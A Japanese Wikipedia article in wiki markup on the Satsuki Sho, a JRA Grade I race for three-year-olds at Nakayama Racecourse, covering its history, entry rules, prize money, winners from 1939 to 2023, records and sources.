{{読み仮名|'''皐月賞'''|さつきしょう}}は、[[日本中央競馬会]] (JRA)が[[中山競馬場]]で施行する[[中央競馬]]の[[重賞]][[競馬の競走|競走]]([[競馬の競走格付け|GI]])である。「皐」の字が[[常用漢字]]外のため、「'''さつき賞'''」と表記されることもある<ref name="yomiuri" /><ref group="注">皐月賞の名称はマスコミ報道では表記ゆれを起こすことがある。とくに1950年代の読売新聞では表記ゆれが大きい。五月賞と表記したり(1950年2月19日読売新聞朝刊2面、1954年4月14日読売新聞朝刊4面)、サツキ賞(1953年4月3日読売新聞朝刊4面国営競馬出稿広告)、さつき賞(1956年3月8日読売新聞朝刊4面)、皐月賞(1949年5月4日読売新聞朝刊2面)など1社のなかで表記ゆれを起こしている。</ref>。
正賞は[[内閣総理大臣賞]]、[[日本馬主協会連合会]]会長賞、中山馬主協会賞<ref name="jusyo_kanto" /><ref name="bangumi_2023nakayama3" />。
== 概要 ==
旧[[八大競走]]の1つで、中央競馬における3歳[[クラシック (競馬)|クラシック]]の第1戦として行われ、最もスピードのある優秀な繁殖馬を選定するためのチャンピオンレースとされている<ref name="JRA注目" />。このため、出走資格は4歳(現3歳)の牡馬と牝馬に限られ、[[騸馬|せん馬]](去勢された馬)は出走できない<ref name="JRA注目" />。また、本競走で5着以内の成績を収めた馬には[[東京優駿]](日本ダービー)の優先出走権が与えられる<ref name="特別レース名解説" />。1990年までは5着以内の馬に優先出走権を付与していたが、1991年より4着までに改められ<ref name="JRA注目" />、さらに2018年からは再び5着以内の馬に優先出走権が与えられるようになった。
1939年に当時の日本競馬会が[[イギリス]]の[[2000ギニー]]に範をとり<ref name="JRA注目" /><ref name="特別レース名解説" />、4歳 (現3歳)[[牡馬]]・[[牝馬]]限定の競走「'''横浜農林省賞典四歳呼馬'''(よこはまのうりんしょうしょうてんよんさいよびうま)」を創設<ref name="JRA注目" /><ref name="特別レース名解説" />。第1回は[[横浜競馬場]]の芝1850メートルで施行された。東京優駿競走・阪神優駿牝馬 (現:[[優駿牝馬]])・京都農林省賞典四歳呼馬 (現:[[菊花賞]])・中山四歳牝馬特別 (現:[[桜花賞]])とともに「五大特殊競走」として位置づけられ、東京優駿競走・京都農林省賞典四歳呼馬とともに日本の[[中央競馬クラシック三冠|クラシック三冠]]競走を確立した。
1943年からは横浜競馬場の閉鎖に伴い[[東京競馬場]]の芝1800メートルで施行、1944年は[[太平洋戦争]]の影響により「'''農商省賞典四歳'''(のうしょうしょうしょうてんよんさい)」の名称で[[能力検定競走]]として施行した<ref name="JRA注目" />が、1945年は中止された。
終戦後の1947年から名称を「'''農林省賞典'''(のうりんしょうしょうてん)」に変更<ref name="JRA注目" />。1949年から施行場を中山競馬場の芝1950メートルに変更し名称を「皐月賞」に変更<ref name="JRA注目" />、翌1950年から再び施行距離を芝2000[[メートル]](≒ 1 1/4 [[マイル|miles]])に戻し、現在に至っている<ref name="JRA注目" />。
1995年からは[[指定交流競走]]とされ、所定の条件を満たした[[地方競馬]]所属馬も出走できるようになり<ref name="中央競馬全重賞競走成績集" />、2002年からは[[外国産馬]]も出走可能となった<ref name="result2002" />。2010年からは[[外国馬]]も出走可能な[[国際競走]]となった<ref name="result2010" />。
東京優駿(日本ダービー)は「最も運のある馬が勝つ」、菊花賞は「最も強い馬が勝つ」と称されるのに対し、皐月賞は「最も速い馬が勝つ」と言われる<ref group="注">ただしこの評はもともとイギリスの2000ギニーに対して言われていたものである</ref><ref name="特別レース名解説" />。
=== 国際的評価 ===
世界の競馬開催国は[[国際セリ名簿基準委員会|国際セリ名簿基準書]]におけるパートIからパートIVまでランク分けされており、2014年時点で日本は平地競走が最上位のパートI、障害競走はパートIVにランク付けされている<ref name="ICSBook_EntireBook" />。
また、各国の主要な競走は国際的な統一判断基準で評価されており、競馬の競走における距離別の区分法として定着している[[距離 (競馬)#SMILE 区分|SMILE区分]]によると、皐月賞は「Intermediate (1900m - 2100m)」に分類される。[[国際競馬統括機関連盟]] (IFHA)が公表した年間レースレーティング<ref group="注">年間レースレーティングは、個々のレースにおける上位4頭のレーティングを年度末のランキング会議で決定した数値に置き換え算出した平均値。なお、牝馬限定競走以外のレースで、対象馬が牝馬の場合はアローワンスが加算される(日本の場合+4ポンド)。</ref>に基づく「[[世界のトップ100GIレース]]」によると、皐月賞は全体の81位(2015年), 36位(2019年), 60位(2020年), 44位(2021年), 15位(2022年)にランキングされた。最新版では12つの日本の競争がランクインしているが、皐月賞の15位は日本の競争の中で最も高い評価であり、「Intermediate (1900m - 2100m)」のカテゴリーからランクインした外国の競走との比較では[[ドバイワールドカップ]]と同順位、[[プリンスオブウェールズステークス (イギリス)|プリンスオブウェールズステークス]](13位)に次ぐ評価となっている。<ref>{{Cite web |url=https://www.ifhaonline.org/resources/WTGradedRanking/LWGRank.asp?batch=6 |title=The LONGINES World's Top 100 Group/Grade 1 Races for 3yos and upwards - 2022 |access-date=2023-09-21 |website=www.ifhaonline.org}}</ref>
=== 競走条件 ===
以下の内容は、2023年現在<ref name="jusyo_kanto" /><ref name="bangumi_2023nakayama3" />のもの。
出走資格: [[サラブレッド|サラ系]]3歳牡馬・牝馬(出走可能頭数:最大18頭)
* JRA所属馬(外国産馬含む)
* 地方競馬所属馬(後述)
* 外国調教馬(優先出走)
*: 負担重量:定量(57kg、牝馬2kg減)
* 第1回は牡馬55kg、牝馬53kg。第2回 - 第6回は牡馬57kg、牝馬55.5kg<ref name="中央競馬全重賞競走成績集" />。
出馬投票を行った馬のうち優先出走権のある馬から優先して割り当て、その他の馬は収得賞金の総計が多い順に出走できる。同一順位の馬が多数ある場合には抽選で出走馬を決定する{{Refnest|競馬番組一般事項<ref name="一般事項" /> V-2-(2)-イ、V-2-(3)、V-2-(4)-イ-(一)、V-2-(4)-イ-(二)の規定による。}}。
=== 優先出走権 ===
出馬投票を行った外国馬は、優先出走できる{{Refnest|競馬番組一般事項<ref name="一般事項" /> V-2-(2)-ロの規定による。}}。
JRA所属馬と地方競馬所属馬は、下表のトライアル競走で所定の成績を収めた馬に優先出走権が与えられる{{Refnest|競馬番組一般事項<ref name="一般事項" /> V-2-(4)-イ-(一)の規定による。}}。ただし、未出走馬・未勝利馬はトライアル競走で収得賞金を得る(弥生賞ディープインパクト記念・スプリングステークスは2着以内、若葉ステークスは1着)ことで優先出走権が与えられる{{Refnest|競馬番組一般事項<ref name="一般事項" /> V-2-(4)-イ-(二)の規定による。}}。
{| class="wikitable" style="text-align: center;"
!競走名!!格!!競馬場!!距離!!必要な着順
|-
|[[弥生賞ディープインパクト記念]]||GII||{{Flagicon|JPN}}中山競馬場||芝2000m||3着以内
|-
|[[若葉ステークス]]||L||{{Flagicon|JPN}}[[阪神競馬場]]||芝2000m||2着以内
|-
|[[スプリングステークス]]||GII||{{Flagicon|JPN}}中山競馬場||芝1800m||3着以内
|}
地方競馬所属馬は上記のトライアル競走で優先出走権を得た馬のほか、JRAの2歳GI競走優勝馬{{Refnest|競馬番組一般事項<ref name="一般事項" /> V-2-(4)-ハ-(一)の規定による。}}、およびJRAで行われる芝の3歳重賞競走優勝馬<ref name="ステップ競走" />にも出走資格が与えられる。
=== 賞金 ===
2023年の1着賞金は2億円で、以下2着8000万円、3着5000万円、4着3000万円、5着2000万円<ref name="bangumi_2023nakayama3" /><ref name="jusyo_kanto" />。
== 歴史 ==
=== 年表 ===
* 1939年 - 横浜競馬場の芝1850mで「横浜農林省賞典四歳呼馬」として創設<ref name="JRA注目" />。
* 1943年 - 施行場を東京競馬場の芝1800mに変更。
* 1944年 - 名称を「農商省賞典四歳」に変更し、馬券発売を行わない能力検定競走として行う<ref name="JRA注目" />。
* 1945年 - 太平洋戦争の影響で中止。
* 1947年 - 名称を「農林省賞典」に変更し、距離を芝2000mに変更<ref name="JRA注目" />。
* 1949年 - 名称を「皐月賞」に変更し、施行場を中山競馬場の芝1950mに変更<ref name="JRA注目" />。
* 1950年 - 施行距離を芝2000mに戻す。
* 1963年 - 厩務員労働組合の争議のため、5月に順延して施行。
* 1967年 - [[全学共闘会議]]の争議のため、4月最終週に順延して施行。また同じ理由で延期した京都競馬場での桜花賞と同日施行となり、史上初にして史上唯一の同一日での八大競走開催となった<ref group="注">前日には天皇賞・春が京都競馬場で開催されていたので、2日連続で八大競走を同一競馬場で施行していたが、これも史上初でまた史上唯一のことであった。なお、桜花賞は所定では阪神競馬場での開催である。</ref>。
* 1972年 - 流行性[[馬インフルエンザ]]の影響で、5月最終週に順延して施行。
* 1974年 - 厩務員労働組合の争議のため、5月に順延して施行。
* 1976年 - 厩務員労働組合の争議のため日程変更が行われる<ref>広告欄 日本中央競馬会の広告『朝日新聞』1976年(昭和51年)4月29日朝刊、13版、23面</ref>。
* 1984年 - [[グレード制]]導入、GI<ref group="注">当時の格付表記は、JRAの独自グレード。</ref>に格付け<ref name="JRA注目" />。
* 1995年 - [[指定交流競走]]となり、地方所属馬も出走が可能になる<ref name="JRA注目" />。
* 2001年 - [[馬齢]]表示が国際基準へ変更されたことに伴い、出走条件が「4歳牡馬・牝馬」から「3歳牡馬・牝馬」に変更。
* 2002年 - 外国産馬が2頭まで出走可能となる<ref name="result2002" />。
* 2007年 - 日本のパートI国昇格に伴い、格付表記をJpnIに変更<ref name="result2007" />。
* 2010年
** [[国際競走]]に指定。外国調教馬・外国産馬を合わせて最大9頭まで出走可能となる<ref name="result2010" />。
** 格付表記をGI(国際格付)に変更<ref name="result2010" />。
* 2011年 - [[東北地方太平洋沖地震]]([[東日本大震災]])の影響で施行日を一週間繰り下げた上、施行場を東京競馬場に変更。
* 2013年 - 外国馬の出走枠を9頭までに拡大<ref name="2013-jusyo_kanto" />。
* 2014年 - 「JRA60周年記念」の副称を付けて施行<ref name="result2014" />。
* 2020年 - 新型コロナウイルス感染症 ([[新型コロナウイルス感染症 (2019年)|COVID-19]])の流行により、「[[無観客試合#競馬|無観客競馬]]」として実施<ref name="jranews040201" />。
== 歴代優勝馬 ==
コース種別の記載がない距離は、芝コースを表す。優勝馬の馬齢は、2000年以前も現行表記に揃えている。
競走名は第5回まで「横浜農林省賞典四歳呼馬」、第6回は「農商省賞典四歳 (能力検定競走として施行)」、第7回・第8回は「農林省賞典」<ref name="JRA注目" />。
{| class="wikitable" style="white-space:nowrap"
!回数!!施行日!!競馬場!!距離!!優勝馬!!性齢!!タイム!!優勝騎手!!管理調教師!!馬主
|-
|style="text-align:center"|第1回||1939年4月29日||横浜||1850m||[[ロツクパーク]]||牡3||1:58 4/5||[[稲葉幸夫]]||[[稲葉秀男]]||伊藤桂藏
|-
|style="text-align:center"|第2回||1940年5月5日||横浜||1850m||[[ウアルドマイン]]||牡3||2:03 0/5||[[野平省三]]||野平省三||杉崎昇
|-
|style="text-align:center"|第3回||1941年3月30日||横浜||1850m||[[セントライト]]||牡3||1:59 1/5||[[小西喜蔵]]||[[田中和一郎]]||[[加藤雄策]]
|-
|style="text-align:center"|第4回||1942年4月5日||横浜||1850m||[[クリヒカリ|アルバイト]]||牡3||1:58 0/5||小西喜蔵||田中和一郎||坂本清五郎
|-
|style="text-align:center"|第5回||1943年4月11日||東京||1800m||[[ダイヱレク]]||牡3||1:54 1/5||[[中村広]]||[[中村一雄]]||大橋達雄
|-
|style="text-align:center"|第6回||1944年5月21日||東京||1800m||[[クリヤマト]]||牡3||2:05 0/5||[[境勝太郎]]||[[清水茂次]]||[[栗林友二]]
|-
|style="text-align:center"|第7回||1947年5月11日||東京||2000m||[[トキツカゼ]]||牝3||2:11 1/5||[[佐藤嘉秋]]||[[大久保房松]]||川口鷲太郎
|-
|style="text-align:center"|第8回||1948年5月16日||東京||2000m||[[ヒデヒカリ]]||牝3||2:09 1/5||[[蛯名武五郎]]||[[藤本冨良]]||木村福太郎
|-
|style="text-align:center"|第9回||1949年5月3日||中山||1950m||[[トサミドリ]]||牡3||2:05 0/5||[[浅野武志]]||[[望月与一郎]]||斎藤健二郎
|-
|style="text-align:center"|第10回||1950年5月5日||中山||2000m||[[クモノハナ]]||牡3||2:11 1/5||[[橋本輝雄]]||[[鈴木勝太郎]]||北竹清剛
|-
|style="text-align:center"|第11回||1951年5月13日||中山||2000m||[[トキノミノル]]||牡3||2:03 0/5||[[岩下密政]]||田中和一郎||[[永田雅一]]
|-
|style="text-align:center"|第12回||1952年4月27日||中山||2000m||[[クリノハナ]]||牡3||2:06 2/5||[[八木沢勝美]]||[[尾形藤吉]]||栗林友二
|-
|style="text-align:center"|第13回||1953年4月26日||中山||2000m||[[ボストニアン]]||牡3||2:04 4/5||蛯名武五郎||[[増本勇]]||岡本治一
|-
|style="text-align:center"|第14回||1954年4月18日||中山||2000m||[[ダイナナホウシユウ]]||牡3||2:11 2/5||[[上田三千夫]]||[[上田武司 (競馬)|上田武司]]||[[上田清次郎]]
|-
|style="text-align:center"|第15回||1955年4月24日||中山||2000m||[[ケゴン]]||牡3||2:04 0/5||[[野平好男]]||田中和一郎||[[吉川英治]]
|-
|style="text-align:center"|第16回||1956年4月22日||東京||2000m||[[ヘキラク]]||牡3||2:05 2/5||蛯名武五郎||藤本冨良||浅井礼三
|-
|style="text-align:center"|第17回||1957年4月21日||中山||2000m||[[カズヨシ]]||牡3||2:08 0/5||[[山本勲 (競馬)|山本勲]]||[[柴田寛]]||里和カツエ
|-
|style="text-align:center"|第18回||1958年4月20日||中山||2000m||[[タイセイホープ]]||牡3||2:04 0/5||[[渡辺正人 (競馬)|渡辺正人]]||[[星川泉士]]||浅野国次郎
|-
|style="text-align:center"|第19回||1959年4月19日||中山||2000m||[[ウイルデイール]]||牡3||2:03 3/5||渡辺正人||星川泉士||浅野国次郎
|-
|style="text-align:center"|第20回||1960年4月17日||中山||2000m||[[コダマ (競走馬)|コダマ]]||牡3||2:05.9||渡辺正人||[[武田文吾]]||[[伊藤由五郎]]
|-
|style="text-align:center"|第21回||1961年4月16日||中山||2000m||[[シンツバメ]]||牡3||2:10.1||野平好男||[[松田由太郎]]||伊藤由五郎
|-
|style="text-align:center"|第22回||1962年4月22日||中山||2000m||[[ヤマノオー]]||牡3||2:04.8||[[古山良司]]||[[内藤潔]]||山口米吉
|-
|style="text-align:center"|第23回||1963年5月12日||東京||2000m||[[メイズイ]]||牡3||2:02.6||[[森安重勝]]||尾形藤吉||[[千明牧場|千明康]]
|-
|style="text-align:center"|第24回||1964年4月19日||東京||2000m||[[シンザン]]||牡3||2:04.1||[[栗田勝]]||武田文吾||[[橋元幸吉]]
|-
|style="text-align:center"|第25回||1965年4月18日||中山||2000m||[[チトセオー]]||牡3||2:05.1||[[湯浅三郎]]||加藤清一||野間美治
|-
|style="text-align:center"|第26回||1966年4月17日||中山||2000m||[[ニホンピローエース]]||牡3||2:07.6||[[田所稔]]||[[小川佐助]]||小林保
|-
|style="text-align:center"|第27回||1967年4月30日||中山||2000m||[[リュウズキ|リユウズキ]]||牡3||2:06.6||[[郷原洋行]]||[[矢倉玉男]]||福井章哉
|-
|style="text-align:center"|第28回||1968年5月19日||中山||2000m||[[マーチス]]||牡3||2:06.3||[[保田隆芳]]||[[伊藤修司]]||大久保常吉
|-
|style="text-align:center"|第29回||1969年4月20日||中山||2000m||[[ワイルドモア]]||牡3||2:05.2||森安重勝||尾形藤吉||[[吉原貞敏]]
|-
|style="text-align:center"|第30回||1970年4月12日||中山||2000m||[[タニノムーティエ]]||牡3||2:07.9||[[安田伊佐夫]]||[[島崎宏]]||[[谷水信夫]]
|-
|style="text-align:center"|第31回||1971年5月2日||中山||2000m||[[ヒカルイマイ]]||牡3||2:03.7||[[田島良保]]||[[谷八郎]]||岡達雄
|-
|style="text-align:center"|第32回||1972年5月28日||中山||2000m||[[ランドプリンス]]||牡3||2:03.5||[[川端義雄]]||[[高橋直]]||木村善一
|-
|style="text-align:center"|第33回||1973年4月15日||中山||2000m||[[ハイセイコー]]||牡3||2:06.7||[[増沢末夫]]||鈴木勝太郎||(株)ホースマンクラブ
|-
|style="text-align:center"|第34回||1974年5月3日||東京||2000m||[[キタノカチドキ]]||牡3||2:01.7||[[武邦彦]]||[[服部正利]]||初田豊
|-
|style="text-align:center"|第35回||1975年4月13日||中山||2000m||[[カブラヤオー]]||牡3||2:02.5||[[菅原泰夫]]||[[茂木為二郎]]||加藤よし子
|-
|style="text-align:center"|第36回||1976年4月25日||東京||2000m||[[トウショウボーイ]]||牡3||2:01.6||[[池上昌弘]]||保田隆芳||[[トウショウ産業]](株)
|-
|style="text-align:center"|第37回||1977年4月17日||中山||2000m||[[ハードバージ]]||牡3||2:05.1||[[福永洋一]]||[[伊藤雄二]]||吉嶺一徳
|-
|style="text-align:center"|第38回||1978年4月16日||中山||2000m||[[ファンタスト]]||牡3||2:04.3||[[柴田政人]]||[[高松三太]]||[[伊達秀和]]
|-
|style="text-align:center"|第39回||1979年4月15日||中山||2000m||[[ビンゴガルー]]||牡3||2:02.3||[[小島太]]||[[久保田彦之]]||(有)芦屋
|-
|style="text-align:center"|第40回||1980年4月13日||中山||2000m||[[ハワイアンイメージ]]||牡3||2:10.2||増沢末夫||鈴木勝太郎||(株)大関
|-
|style="text-align:center"|第41回||1981年4月12日||中山||2000m||[[カツトップエース]]||牡3||2:04.9||[[大崎昭一]]||[[菊池一雄]]||勝本正男
|-
|style="text-align:center"|第42回||1982年4月18日||中山||2000m||[[アズマハンター]]||牡3||2:02.5||[[中島啓之]]||[[仲住芳雄]]||(株)東牧場
|-
|style="text-align:center"|第43回||1983年4月17日||中山||2000m||[[ミスターシービー]]||牡3||2:08.3||[[吉永正人]]||[[松山康久]]||千明牧場
|-
|style="text-align:center"|第44回||1984年4月15日||中山||2000m||[[シンボリルドルフ]]||牡3||2:01.1||[[岡部幸雄]]||[[野平祐二]]||[[シンボリ牧場]]
|-
|style="text-align:center"|第45回||1985年4月14日||中山||2000m||[[ミホシンザン]]||牡3||2:02.1||柴田政人||[[田中朋次郎]]||堤勘時
|-
|style="text-align:center"|第46回||1986年4月13日||中山||2000m||[[ダイナコスモス]]||牡3||2:02.1||岡部幸雄||[[沢峰次]]||(有)[[社台レースホース]]
|-
|style="text-align:center"|'''[[第47回皐月賞|第47回]]'''||1987年4月19日||中山||2000m||[[サクラスターオー]]||牡3||2:01.9||[[東信二]]||[[平井雄二]]||(株)[[さくらコマース]]
|-
|style="text-align:center"|第48回||1988年4月17日||東京||2000m||[[ヤエノムテキ]]||牡3||2:01.3||[[西浦勝一]]||[[荻野光男]]||(有)富士
|-
|style="text-align:center"|第49回||1989年4月16日||中山||2000m||[[ドクタースパート]]||牡3||2:05.2||[[的場均]]||[[柄崎孝]]||[[松岡悟]]
|-
|style="text-align:center"|第50回||1990年4月15日||中山||2000m||[[ハクタイセイ]]||牡3||2:02.2||[[南井克巳]]||[[布施正]]||渡辺重夫
|-
|style="text-align:center"|第51回||1991年4月14日||中山||2000m||[[トウカイテイオー]]||牡3||2:01.8||[[安田隆行]]||[[松元省一]]||[[内村正則]]
|-
|style="text-align:center"|第52回||1992年4月19日||中山||2000m||[[ミホノブルボン]]||牡3||2:01.4||[[小島貞博]]||[[戸山為夫]]||(有)ミホノインターナショナル
|-
|style="text-align:center"|第53回||1993年4月18日||中山||2000m||[[ナリタタイシン]]||牡3||2:00.2||[[武豊]]||[[大久保正陽]]||[[山路秀則]]
|-
|style="text-align:center"|'''[[第54回皐月賞|第54回]]'''||1994年4月17日||中山||2000m||[[ナリタブライアン]]||牡3||1:59.0||南井克巳||大久保正陽||山路秀則
|-
|style="text-align:center"|第55回||1995年4月16日||中山||2000m||[[ジェニュイン]]||牡3||2:02.5||岡部幸雄||松山康久||(有)社台レースホース
|-
|style="text-align:center"|第56回||1996年4月14日||中山||2000m||[[イシノサンデー]]||牡3||2:00.7||[[四位洋文]]||[[山内研二]]||(有)イシノ
|-
|style="text-align:center"|第57回||1997年4月13日||中山||2000m||[[サニーブライアン]]||牡3||2:02.0||[[大西直宏]]||[[中尾銑治]]||[[宮崎守保]]
|-
|style="text-align:center"|第58回||1998年4月19日||中山||2000m||[[セイウンスカイ]]||牡3||2:01.3||[[横山典弘]]||[[保田一隆]]||[[西山正行]]
|-
|style="text-align:center"|第59回||1999年4月18日||中山||2000m||[[テイエムオペラオー]]||牡3||2:00.7||[[和田竜二]]||[[岩元市三]]||[[竹園正繼]]
|-
|style="text-align:center"|第60回||2000年4月16日||中山||2000m||[[エアシャカール]]||牡3||2:01.8||武豊||[[森秀行]]||(株)[[ラッキーフィールド]]
|-
|style="text-align:center"|第61回||2001年4月15日||中山||2000m||[[アグネスタキオン]]||牡3||2:00.3||[[河内洋]]||[[長浜博之]]||[[渡辺孝男 (実業家)|渡辺孝男]]
|-
|style="text-align:center"|第62回||2002年4月14日||中山||2000m||[[ノーリーズン]]||牡3||1:58.5||[[ブレット・ドイル|B.ドイル]]||[[池江泰郎]]||[[前田晋二]]
|-
|style="text-align:center"|'''[[第63回皐月賞|第63回]]'''||2003年4月20日||中山||2000m||[[ネオユニヴァース]]||牡3||2:01.2||[[ミルコ・デムーロ|M.デムーロ]]||[[瀬戸口勉]]||(有)社台レースホース
|-
|style="text-align:center"|第64回||2004年4月18日||中山||2000m||[[ダイワメジャー]]||牡3||1:58.6||M.デムーロ||[[上原博之]]||[[大和商事]](株)
|-
|style="text-align:center"|第65回||2005年4月17日||中山||2000m||[[ディープインパクト (競走馬)|ディープインパクト]]||牡3||1:59.2||武豊||池江泰郎||[[金子真人]]
|-
|style="text-align:center"|第66回||2006年4月16日||中山||2000m||[[メイショウサムソン]]||牡3||1:59.9||[[石橋守]]||瀬戸口勉||[[松本好雄]]
|-
|style="text-align:center"|'''[[第67回皐月賞|第67回]]'''||2007年4月15日||中山||2000m||[[ヴィクトリー (競走馬)|ヴィクトリー]]||牡3||1:59.9||[[田中勝春]]||[[音無秀孝]]||[[近藤英子]]
|-
|style="text-align:center"|第68回||2008年4月20日||中山||2000m||[[キャプテントゥーレ]]||牡3||2:01.7||[[川田将雅]]||森秀行||(有)社台レースホース
|-
|style="text-align:center"|第69回||2009年4月19日||中山||2000m||[[アンライバルド]]||牡3||1:58:7||[[岩田康誠]]||[[友道康夫]]||(有)[[サンデーレーシング]]
|-
|style="text-align:center"|第70回||2010年4月18日||中山||2000m||[[ヴィクトワールピサ]]||牡3||2:00.8||岩田康誠||[[角居勝彦]]||[[市川義美]]
|-
|style="text-align:center"|第71回||2011年4月24日||東京||2000m||[[オルフェーヴル]]||牡3||2:00.6||[[池添謙一]]||[[池江泰寿]]||(有)サンデーレーシング
|-
|style="text-align:center"|第72回||2012年4月15日||中山||2000m||[[ゴールドシップ]]||牡3||2:01.3||[[内田博幸]]||[[須貝尚介]]||[[小林英一 (実業家)|小林英一]]
|-
|style="text-align:center"|第73回||2013年4月14日||中山||2000m||[[ロゴタイプ (競走馬)|ロゴタイプ]]||牡3||1:58.0||M.デムーロ||[[田中剛]]||[[吉田照哉]]
|-
|style="text-align:center"|第74回||2014年4月20日||中山||2000m||[[イスラボニータ]]||牡3||1:59.6||[[蛯名正義]]||[[栗田博憲]]||(有)社台レースホース
|-
|style="text-align:center"|第75回||2015年4月19日||中山||2000m||[[ドゥラメンテ]]||牡3||1:58.2||M.デムーロ||[[堀宣行]]||(有)サンデーレーシング
|-
|style="text-align:center"|'''[[第76回皐月賞|第76回]]'''||2016年4月17日||中山||2000m||[[ディーマジェスティ]]||牡3||1:57.9||蛯名正義||[[二ノ宮敬宇]]||[[嶋田賢]]
|-
|style="text-align: center;"|第77回||2017年4月16日||中山||2000m||[[アルアイン (競走馬)|アルアイン]]||牡3||1:57.8||[[松山弘平]]||池江泰寿||(有)サンデーレーシング
|-
|style="text-align: center;"|第78回||2018年4月15日||中山||2000m||[[エポカドーロ]]||牡3||2:00.8||[[戸崎圭太]]||[[藤原英昭]]||(株)[[ヒダカ・ブリーダーズ・ユニオン]]
|-
|style="text-align: center;"|第79回||2019年4月14日||中山||2000m||[[サートゥルナーリア (競走馬)|サートゥルナーリア]]||牡3||1:58.1||[[クリストフ・ルメール|C.ルメール]]||[[角居勝彦]]||(有)[[キャロットファーム]]
|-
|style="text-align: center;"|'''[[第80回皐月賞|第80回]]'''||2020年4月19日||中山||2000m||[[コントレイル (競走馬)|コントレイル]]||牡3||2:00.7||[[福永祐一]]||[[矢作芳人]]||[[前田晋二]]
|-
|style="text-align: center;"|第81回||2021年4月18日||中山||2000m||[[エフフォーリア]]||牡3||2:00.6||[[横山武史]]||[[鹿戸雄一]]||(有)キャロットファーム
|-
|style="text-align: center;"|第82回||2022年4月17日||中山||2000m||[[ジオグリフ (競走馬)|ジオグリフ]]||牡3||1:59.7||福永祐一||[[木村哲也 (競馬)|木村哲也]]||(有)サンデーレーシング
|-
|style="text-align: center;"|第83回||2023年4月16日||中山||2000m||[[ソールオリエンス]]||牡3||2:00.6||横山武史||[[手塚貴久]]||(有)社台レースホース
|}
== 皐月賞の記録 ==
* レースレコード - 1:57.8 (第77回優勝馬アルアイン)<ref name="レースレコード" />
** 優勝タイム最遅記録 - 2:11 2/5(第14回優勝馬ダイナナホウシユウ)<ref>グレード制導入後は2:05.2(第49回優勝馬ドクタースパート)</ref>
* 最多優勝騎手 - 4勝
** ミルコ・デムーロ(第63回・第64回・第73回・第75回)<ref>連続記録は渡辺正人の3年連続(第18〜20回)</ref>
* 最多優勝調教師 - 4勝
** 田中和一郎(第3回・第4回・第11回・第15回)<ref>連覇としては他に星川泉士(第18回・第19回)・大久保正陽(第53回・[[第54回皐月賞|第54回]])が記録</ref>
* 最多優勝馬主 - 5勝
**(有)社台レースホース(第46回・第55回・第63回・第68回・第74回)、(有)サンデーレーシング(第69回・第71回・第75回・第77回・第82回)
* 最多勝利種牡馬 - 7勝
** [[サンデーサイレンス]](第55回・第56回・第60回・第61回・第63回・第64回・第65回)
* 最年少勝利騎手 - 和田竜二(第59回・21歳9ヶ月27日)
== 脚注 ==
{{脚注ヘルプ}}
=== 参考文献 ===
* {{Cite book|和書|title=中央競馬全重賞成績集【GI編】|publisher=日本中央競馬会|year=1996|page=119-213|chapter=皐月賞|ref=中央競馬全重賞成績集}}
=== 注釈 ===
{{Reflist|group="注"}}
=== 出典 ===
{{Reflist
|refs=
<ref name="jusyo_kanto">{{Cite web|和書|format=PDF|url=http://jra.jp/keiba/program/2023/pdf/jusyo_kanto.pdf#page=13 |title=重賞競走一覧 (レース別・関東)|page=13|year=2023|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="2013-jusyo_kanto">{{Cite web|和書|format=PDF|url=http://jra.jp/keiba/program/2013/pdf/jusyo_kanto.pdf#page=13 |title=重賞競走一覧 (レース別・関東)|page=13|year=2013|publisher=日本中央競馬会|accessdate=2016年4月5日}}</ref>
<ref name="bangumi_2023nakayama3">{{Cite web|和書|format=PDF|url=http://jra.jp/keiba/program/2023/pdf/bangumi/nakayama3.pdf |title=令和5年第3回中山競馬番組|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="特別レース名解説">{{Cite web|和書|format=PDF|url=http://jra.jp/datafile/tokubetsu/2023/0306.pdf#page=5 |title=2023年度第3回中山競馬特別レース名解説|page=5|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="JRA注目">{{Cite web|和書|url=http://jra.jp/keiba/thisweek/2023/0416_1/race.html |title=レースについて:皐月賞 今週の注目レース|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="ステップ競走">{{Cite web|和書|format=PDF|url=http://jra.jp/keiba/program/2023/pdf/kakuchi.pdf |title=「地」が出走できるGI競走とそのステップ競走について 【令和5年度】|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="一般事項">{{Cite web|和書|format=PDF|url=http://jra.jp/keiba/program/2023/pdf/bangumi_ippan.pdf |title=競馬番組一般事項|publisher=日本中央競馬会|accessdate=2023年9月11日}}</ref>
<ref name="中央競馬全重賞競走成績集">『[[#中央競馬全重賞成績集|中央競馬全重賞成績集【GI編】]]』</ref>
<ref name="yomiuri">『読売新聞』朝刊 1964年4月19日</ref>
<ref name="ICSBook_EntireBook">{{Cite web|format=PDF|url=http://www.tjcis.com/pdf/icsc23/2023_EntireBook.pdf#page=90 |title=INTERNATIONAL CATALOGUING STANDARDS and INTERNATIONAL STATISTICS 2023 |publisher=The Jockey Club Information Systems, Inc.|page=1-58|accessdate=2023年9月11日}}</ref>
<ref name="TOP100GI">{{Cite web|format=PDF|url=http://jra.jp/news/201601/pdf/012004.pdf |title=THE WORLD'S TOP 100 G1 RACES for 3yo's and upwards|publisher=日本中央競馬会|date=2016年1月20日|accessdate=2016年4月5日}}</ref>
<ref name="result2002">[[#JRA年度別全成績2002|2002年の成績表]]参照。</ref>
<ref name="result2007">{{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2007/3naka.pdf#page=104 |title=第3回 中山競馬成績集計表|year=2007|publisher=日本中央競馬会|pages=962-964|accessdate=2016年4月5日}}(索引番号:08095)</ref>
<ref name="result2010">{{Cite web|和書|format=PDF|url=http://jra.jp/datafile/seiseki/report/2010/3naka.pdf#page=107 |title=第3回 中山競馬成績集計表|year=2010|publisher=日本中央競馬会|pages=1001-1002|accessdate=2016年4月5日}}(索引番号:08095)</ref>
<ref name="result2014">[[#JRA年度別全成績2014|2014年の成績表]]参照。</ref>
<ref name="レースレコード">{{Cite web|和書|url=https://jra.jp/JRADB/accessW.html |title=中央競馬レコードタイム GIレース|publisher=日本中央競馬会|accessdate=2022年4月17日}}</ref>
<ref name="jranews040201">{{Cite web|和書|url=http://jra.jp/news/202004/040201.html |title=4月19日(日曜)までの中央競馬の開催等について|publisher=日本中央競馬会|date=2020年4月2日|accessdate=2020年6月18日}}</ref>
}}
==== 各回競走結果の出典 ====
